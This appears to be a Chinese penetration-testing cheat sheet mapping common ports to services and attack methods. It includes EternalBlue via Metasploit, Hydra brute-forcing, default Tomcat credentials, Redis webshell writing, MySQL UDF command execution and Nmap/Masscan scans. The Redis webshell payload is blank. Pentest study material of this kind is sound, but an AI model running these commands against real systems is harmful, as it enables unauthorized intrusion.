常用端口号及利用方式
概述
在渗透测试中,了解常见端口对应的服务及其利用方式是信息收集的重要环节。本文整理了常用端口、对应服务以及常见的攻击利用方向。
一、文件共享服务端口
| 端口 |
服务 |
利用方向 |
| 21 |
FTP |
匿名登录、爆破、嗅探 |
| 22 |
SSH |
爆破、隧道转发、文件传输 |
| 69 |
TFTP |
匿名上传下载、爆破 |
| 139 |
Samba |
爆破、未授权访问、远程代码执行 |
| 445 |
SMB |
共享文件夹、永恒之蓝(MS17-010) |
| 2049 |
NFS |
配置不当、挂载共享 |
| 389 |
LDAP |
注入、匿名访问、弱口令 |
重点端口详解
445端口(SMB)
# 检测漏洞
nmap --script smb-vuln* -p 445 target
# 常见漏洞
MS17-010(永恒之蓝)
MS08-067
# 利用工具
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
二、远程连接服务端口
| 端口 |
服务 |
利用方向 |
| 22 |
SSH |
爆破、SSH隧道 |
| 23 |
Telnet |
爆破、嗅探、弱口令 |
| 3389 |
RDP |
Shift后门、爆破、蓝屏漏洞 |
| 5900 |
VNC |
弱口令爆破 |
| 5632 |
PyAnywhere |
抓密码、代码执行 |
重点端口详解
3389端口(RDP)
# 检测漏洞
nmap --script rdp-vuln* -p 3389 target
# 常见漏洞
CVE-2019-0708(BlueKeep)
Shift后门(Win2003以下)
# 爆破工具
Hydra:hydra -l admin -P pass.txt rdp://target
三、Web应用服务端口
| 端口 |
服务 |
利用方向 |
| 80/443 |
HTTP/HTTPS |
Web攻击、爆破 |
| 8080 |
Tomcat/JBoss |
反序列化、弱口令 |
| 7001/7002 |
WebLogic |
反序列化、弱口令 |
| 8089 |
Jenkins |
未授权、反序列化 |
| 9090 |
WebSphere |
反序列化、弱口令 |
| 4848 |
GlassFish |
弱口令 |
重点端口详解
8080端口(Tomcat)
# 默认后台
http://target:8080/manager/html
# 默认账号密码
tomcat:tomcat
admin:admin
manager:manager
# 命令执行漏洞
PUT方法上传Webshell
7001端口(WebLogic)
# 控制台地址
http://target:7001/console
# 常见漏洞
CVE-2019-2890(反序列化)
CVE-2023-21839(RCE)
# 检测
访问 /_async/AsyncResponseService
四、数据库服务端口
| 端口 |
服务 |
利用方向 |
| 1433 |
MSSQL |
注入、提权、爆破 |
| 1521 |
Oracle |
TNS爆破、注入、反弹Shell |
| 3306 |
MySQL |
注入、提权、爆破、UDF提权 |
| 5432 |
PostgreSQL |
爆破、注入、命令执行 |
| 27017/27018 |
MongoDB |
未授权访问、爆破 |
| 6379 |
Redis |
未授权访问、写Webshell |
重点端口详解
6379端口(Redis)
# 检测未授权
redis-cli -h target
# 利用方式
1. 写Webshell
2. 写SSH公钥
3. 写定时任务反弹Shell
# 写Webshell
config set dir /var/www/html
config set dbfilename shell.php
set x ""
save
3306端口(MySQL)
# 爆破
hydra -l root -P pass.txt mysql://target
# UDF提权
SELECT @@basedir;
# 上传udf.dll到plugin目录
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.dll';
五、邮件服务端口
| 端口 |
服务 |
利用方向 |
| 25 |
SMTP |
邮件伪造、中继 |
| 110 |
POP3 |
爆破、嗅探 |
| 143 |
IMAP |
爆破 |
六、其他常见端口
| 端口 |
服务 |
利用方向 |
| 2181 |
ZooKeeper |
未授权访问 |
| 2375 |
Docker |
未授权访问、容器逃逸 |
| 5601 |
Kibana |
文件读取、RCE |
| 8848 |
Nacos |
未授权访问、RCE |
| 9200 |
Elasticsearch |
未授权访问、命令执行 |
| 11211 |
Memcached |
未授权访问 |
| 50070 |
HDFS |
未授权访问 |
七、端口扫描命令
Nmap扫描
# 全端口扫描
nmap -sV -sC -p 1-65535 target
# 快速扫描常用端口
nmap -sV -top-ports 1000 target
# 指定端口扫描
nmap -sV -p 22,80,443,3306 target
# UDP扫描
nmap -sU -top-ports 100 target
Masscan快速扫描
# 快速扫描指定端口
masscan target -p 80,443,8080 --rate=10000
# 全端口扫描
masscan target -p 1-65535 --rate=10000
总结
端口利用的关键点:
- 识别服务:确定端口对应的服务和版本
- 查找漏洞:根据服务版本查找已知漏洞
- 弱口令爆破:尝试默认账号密码
- 未授权访问:检查是否需要认证
- 利用工具:使用Metasploit等工具利用漏洞
本文为个人学习笔记,整理了常用端口及其利用方式,供渗透测试参考。